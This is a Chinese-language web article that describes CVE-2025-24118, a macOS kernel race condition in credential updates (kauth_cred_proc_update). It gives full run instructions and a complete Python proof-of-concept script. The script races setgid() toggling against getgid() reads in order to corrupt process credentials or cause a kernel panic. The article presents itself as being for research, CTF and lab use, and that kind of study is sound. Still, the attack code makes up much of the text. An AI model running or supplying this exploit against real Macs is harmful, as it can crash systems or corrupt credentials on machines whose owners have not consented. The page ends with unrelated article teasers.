news 2026/5/15 9:00:12

CVE-2025-24118 macOS内核竞态条件漏洞分析与PoC演示

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-24118 macOS内核竞态条件漏洞分析与PoC演示

CVE-2025-24118 macOS内核竞态条件漏洞PoC

项目标题与描述

本项目是一个针对CVE-2025-24118漏洞的概念验证(Proof of Concept)工具。该漏洞是 macOS 内核中发现的一个竞态条件漏洞,根源在于kauth_cred_proc_update函数对进程凭证指针proc_ro.p_ucred的更新操作是非原子的。本PoC通过Python脚本模拟了触发该漏洞所需的竞态条件,可用于在受控环境下(如CTF比赛、渗透测试实验室)进行安全研究和漏洞原理学习。

功能特性

  • 漏洞模拟:通过创建并发的“写入线程”和“读取线程”,精确复现了导致内核凭证更新不一致的竞态条件场景。
  • 简洁易懂:使用Python编写,代码逻辑清晰,便于安全研究人员理解和分析漏洞触发机制。
  • 教育用途:适合用于学习macOS内核安全机制、竞态条件漏洞的原理及危害。
  • 环境自检:脚本运行前会检查当前进程的真实组ID(GID)和有效组ID(EGID),确保它们不同以符合漏洞触发的前提条件。

安装指南

前提条件

  1. 操作系统:需要在 macOS 系统上运行(建议在Intel架构的测试环境中进行)。
  2. Python环境:确保系统已安装 Python 3。
  3. 权限设置:为了成功触发setgid系统调用并切换组ID,运行该PoC的程序(或解释器)需要具有setgid权限,或者进程的真实GID有效GID初始状态不同。

运行步骤

  1. 将提供的Python脚本保存为文件,例如exp.py
  2. 打开终端,导航到脚本所在目录。
  3. 直接运行脚本:
    python3 exp.py
  4. 观察输出。如果进程的真实GID和有效GID相同,脚本会提示错误并退出。如果不同,脚本将启动线程并尝试触发竞态条件。

重要提示:在非授权系统上运行此代码是非法且不道德的。请仅在您拥有完全控制权的实验环境中使用。

使用说明

基础运行

直接执行脚本是最简单的使用方式。脚本会先进行环境检查,然后启动指定数量的线程对来触发竞态条件。

# 直接运行PoCpython3 exp.py

典型场景与输出

在满足漏洞条件(rgid != egid)的环境中运行时,你会看到类似以下输出,然后程序将持续运行,尝试触发内核的不稳定状态(可能最终导致内核恐慌或进程凭证静默损坏)。

Starting 1 thread pairs rgid: 20 egid: 80

脚本逻辑概述

  1. 环境验证:检查并确保进程的真实组ID和有效组ID不同,这是触发kauth_cred_proc_update路径的必要条件。
  2. 线程创建:创建一对线程(一个“写入者”,一个“读取者”)。
  3. 竞态触发
    • 写入线程 (toggle_cred):循环调用os.setgid(),在真实GID和有效GID之间快速切换,模拟对proc_ro.p_ucred的写入操作。
    • 读取线程 (reference_cred):循环调用os.getgid(),读取当前组ID,模拟对proc_ro.p_ucred指针的读取操作。
  4. 持续运行:两个线程同时运行,制造非原子更新与并发读取之间的时间窗口,从而触发漏洞。

核心代码

以下是PoC脚本的核心代码及其详细注释。

importosimportthreadingimportsysimporttime# 定义线程数,与原C代码保持一致,设置为1对线程即可触发NUM_THREADS=1# 获取当前进程的真实组ID和有效组IDrg=os.getgid()eg=os.getegid()deftoggle_cred():""" 写入线程函数。 持续在真实GID(rg)和有效GID(eg)之间切换。 每次调用 os.setgid() 都会尝试更新内核中的进程凭证结构 (proc_ro.p_ucred)。 这个非原子的更新操作是CVE-2025-24118漏洞的根源。 """whileTrue:# 调用setgid写入 proc_ro.p_ucredos.setgid(rg)os.setgid(eg)defreference_cred():""" 读取线程函数。 持续读取当前的组ID。 调用 os.getgid() 会读取内核中的 proc_ro.p_ucred 指针。 当此读取与上面的 toggle_cred 写入同时发生时,可能读到不一致的指针值。 """whileTrue:# 调用getgid读取 proc_ro.p_ucredtmp=os.getgid()defmain():""" 主函数。 检查运行条件,初始化并启动竞态线程。 """# 漏洞触发要求真实GID和有效GID不同,以进入kauth_cred_proc_update代码路径ifrg==eg:print(f"Real and effective groups are the same ({rg}), they need to be different to trigger kauth_cred_proc_update")sys.exit(1)print(f"Starting{NUM_THREADS}thread pairs")print(f"rgid:{rg}\negid:{eg}")pool=[]# 创建指定数量的读写线程对foriinrange(NUM_THREADS):t1=threading.Thread(target=toggle_cred)t2=threading.Thread(target=reference_cred)pool.append(t1)pool.append(t2)t1.start()t2.start()# 等待所有线程结束(实际上,由于是无限循环,它们不会自行结束)fortinpool:t.join()print("Done")if__name__=="__main__":main()

6HFtX5dABrKlqXeO5PUv/wpIm2IPnqJCrU03p74jAYw=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/10 4:16:27

如何在Jupyter中高效调试TensorFlow代码?

如何在 Jupyter 中高效调试 TensorFlow 代码? 你有没有遇到过这样的场景:模型训练跑着跑着,loss 突然变成 NaN,梯度全为零,或者某一层的输出形状莫名其妙变了?更糟的是,这些错误发生在 Jupyter …

作者头像 李华
网站建设 2026/5/14 1:46:58

Open-AutoGLM安装必须知道的8个细节,少一步都可能失败

第一章:Open-AutoGLM安装前的环境评估在部署 Open-AutoGLM 之前,必须对系统环境进行全面评估,以确保后续安装过程的稳定性与兼容性。该模型依赖特定版本的 Python 及其核心科学计算库,同时对硬件资源有一定要求。系统平台兼容性 O…

作者头像 李华
网站建设 2026/5/13 3:11:06

基于TensorFlow的语音识别系统构建全过程

基于TensorFlow的语音识别系统构建全过程 在智能音箱、车载助手和远程医疗日益普及的今天,用户对“说一句话就能完成操作”的交互体验提出了更高要求。而支撑这种自然语言交互背后的核心技术之一,正是语音识别。不同于实验室中的概念验证,工业…

作者头像 李华
网站建设 2026/5/14 12:14:50

【Open-AutoGLM 2.0安装全指南】:手把手教你从零部署AI自动化神级工具

第一章:Open-AutoGLM 2.0安装前的环境准备与核心概念解析 在部署 Open-AutoGLM 2.0 之前,正确配置运行环境并理解其核心架构是确保系统稳定运行的关键前提。该框架依赖于特定版本的 Python 及其生态系统组件,同时对硬件资源配置有一定要求。 …

作者头像 李华
网站建设 2026/5/9 5:43:03

为什么你的Open-AutoGLM插件无法运行?:安装环节的8个致命错误

第一章:Open-AutoGLM浏览器插件如何安装 Open-AutoGLM 是一款基于 AutoGLM 框架开发的浏览器扩展插件,旨在为用户提供智能化的网页内容理解与交互能力。该插件支持主流浏览器环境,包括 Chrome 及基于 Chromium 的浏览器(如 Edge、…

作者头像 李华
网站建设 2026/5/11 16:50:49

vue.js基于SpringBoot+Vue的智能ai眼科患者随访管理系统_72c15hq6

目录已开发项目效果实现截图开发技术介绍核心代码参考示例1.建立用户稀疏矩阵,用于用户相似度计算【相似度矩阵】2.计算目标用户与其他用户的相似度系统测试总结源码文档获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!已开发项目效果…

作者头像 李华